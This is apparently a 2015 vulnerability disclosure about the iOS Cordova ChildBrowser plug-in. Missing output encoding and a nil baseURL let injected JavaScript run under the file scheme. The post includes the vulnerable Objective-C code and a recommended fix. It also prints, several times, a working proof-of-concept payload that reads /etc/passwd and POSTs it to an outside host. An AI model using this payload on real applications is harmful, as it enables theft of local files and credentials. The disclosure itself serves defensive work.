Abusing UIWebView baseURL settings in the Cordova ChildBrowser Plug-in

By | April 3, 2015

The ChildBrowser plug-in is a popular third-party plug-in that allows displaying untrusted external websites within a Cordova-based application. It is very similar to the core InAppBrowser plug-in, which is the plug-in that Apache currently recommends using, since they both create a separate WebView instance that does not expose native mobile APIs to the untrusted HTML/JavaScript. Last year I disclosed a vulnerability that allowed the untrusted JavaScript in the InAppBrowser WebView to inject in JavaScript into the trusted Cordova WebView, which allowed for abusing of native mobile APIs remotely. While it doesn’t appear that the ChildBrowser plug-in is vulnerable to a similar JavaScript injection attack, under certain conditions the iOS version of the plug-in can be abused to load untrusted HTML/JavaScript code that executes under the file domain, which allows access to local files and sending those local files to remote servers since the same-origin policy works differently in this context.

Assume that a Cordova-based iOS application allows users to submit URLs that are redisplayed to other users and the application utilizes the ChildBrowser plug-in to load the untrusted website.  Also assume that the application takes necessary steps to prevent JavaScript injection into the Cordova WebView by escaping single/double quotes.  This scenario may occur if users are allowed to create a profile with a link to their own website or send links to other users via some type of private messaging functionality.

Lets assume that the malicious user sets their website URL to the following.

http://www.evil.com/'onerror='var request = new XMLHttpRequest();request.open("GET","file:///etc/passwd",false);request.send();alert(request.responseText);var dataToSteal=request.responseText;request.open("POST","http://d3adend.org/c.php",false);request.send(dataToSteal);'/?.png

The application validates that the URI scheme is HTTP or HTTPS and then escapes all the double quotes to prevent JavaScript injection into the trusted Cordova WebView and builds the following JavaScript which is used to invoke the ChildBrowser plug-in.

window.plugins.ChildBrowser.showWebPage("http://www.evil.com/'onerror='var request = new XMLHttpRequest();request.open(\"GET\",\"file:///etc/passwd\",false);request.send();alert(request.responseText);var dataToSteal=request.responseText;request.open(\"POST\",\"http://d3adend.org/c.php\",false);request.send(dataToSteal);'/?.png",{ showLocationBar: true });

The victim is later tricked into clicking on the link that is part of the attacker’s profile. Now the ChildBrowser’s loadURL method is invoked on the victim’s device. The following is the relevant Objective-C code from the plug-in.

- (void)loadURL:(NSString*)url
{
	NSLog(@"Opening Url : %@",url);
	 
	if( [url hasSuffix:@".png" ]  || 
	    [url hasSuffix:@".jpg" ]  || 
		[url hasSuffix:@".jpeg" ] || 
		[url hasSuffix:@".bmp" ]  || 
		[url hasSuffix:@".gif" ]  )
	{
		self.imageURL = nil;
		self.imageURL = url;
		self.isImage = YES;
		NSString* htmlText = @"<html><body style='background-color:#333;margin:0px;padding:0px;'><img style='min-height:200px;margin:0px;padding:0px;width:100%;height:auto;' alt='' src='IMGSRC'/></body></html>";
		htmlText = [ htmlText stringByReplacingOccurrencesOfString:@"IMGSRC" withString:url ];

		[webView loadHTMLString:htmlText baseURL:[NSURL URLWithString:@""]];
		
	}
	else
	{
		imageURL = @"";
		isImage = NO;
		NSURLRequest *request = [NSURLRequest requestWithURL:[NSURL URLWithString:url]];
		[self.webView loadRequest:request];
	}
	self.webView.hidden = NO;
}

Since the submitted URL ends with “.png”, the ChildBrowser plug-in dynamically builds some HTML code without performing output encoding and then loads the HTML into the WebView using the loadHTMLString:baseURL: method.  The baseURL argument is set to [NSURL URLWithString:@""], which is equivalent to setting the baseURL argument to nil.  Apple’s documentation for NSURL‘s URLWithString method states that “if the URL string was malformed or nil, [the method] returns nil” and an empty string is considered a malformed URL.  Unfortunately, the default setting is insecure if the baseURL argument is set to nil.  The HTML code will be loaded using the file URI scheme, which means that the HTML/JavaScript code will have access to local files and can send those local files to remote servers.

In this example, the following HTML code is loaded into the ChildBrowser’s WebView.  Note that I break out of the src attribute value and inject in a JavaScript event handler (onerror), which will execute malicious JavaScript code that reads a local file using AJAX (/etc/passwd) and then sends the contents of the file to a remote server.  This is possible since the same origin policy restrictions do not apply in this context when content is loaded using the file or applewebdata URI schemes.  This technique could be used to remotely steal any local file that the target Cordova application has access to which may include SQLite databases or property list files that contain sensitive data such as OAuth access tokens, session identifiers, or passwords.

<html>
<body style='background-color:#333;margin:0px;padding:0px;'>
<img style='min-height:200px;margin:0px;padding:0px;width:100%;height:auto;' 
alt='' 
src='http://www.evil.com/'onerror='var request = new XMLHttpRequest();request.open("GET","file:///etc/passwd",false);request.send();alert(request.responseText);var dataToSteal=request.responseText;request.open("POST","http://d3adend.org/c.php",false);request.send(dataToSteal);'/?.png'/>
</body>
</html>

The proof of concept JavaScript code has access to local files as shown in the following screenshot.

And, the JavaScript code can send the contents of the local file to a remote server as shown in the next screenshot.

In this situation, the ChildBrowser plug-in should have performed output encoding to prevent HTML injection and also should have set the baseURL argument properly. In general, iOS applications that load untrusted content into a UIWebView using the loadHTMLString:baseURL: or loadData:MIMEType:textEncodingName:baseURL: methods should not set the baseURL argument to nil or a URL that uses the file scheme or the applewebdata scheme. The application should set the baseURL argument to about:blank to prevent the untrusted content from accessing local files.

[webView loadHTMLString:htmlText baseURL:[NSURL URLWithString:@"about:blank"]];

This is not a new issue for iOS applications using the UIWebView class, see Pilorz’s and Zmysłowski’s excellent HITB presentation for more examples of attacks against WebView based browsers on iOS including a number of interesting UXSS issues. Android browsers, along with desktop browsers, have also faced similar problems. Prior to Jelly Bean (4.1 / API level 16), content loaded into a WebView using the file URI scheme could access other local files leading to the same problem. Newer versions of Android use securer default file settings, but developers can still shoot themselves in the foot if they allow file access from file URLs (setAllowFileAccessFromFileURLs) or allow universal access from file URLs (setAllowUniversalAccessFromFileURLs) within a WebView that is used to load untrusted content.

While this plug-in is unofficially deprecated according to Adobe developers, it is still used in many popular PhoneGap/Cordova applications, so I’ve created a simple patch to address the issue.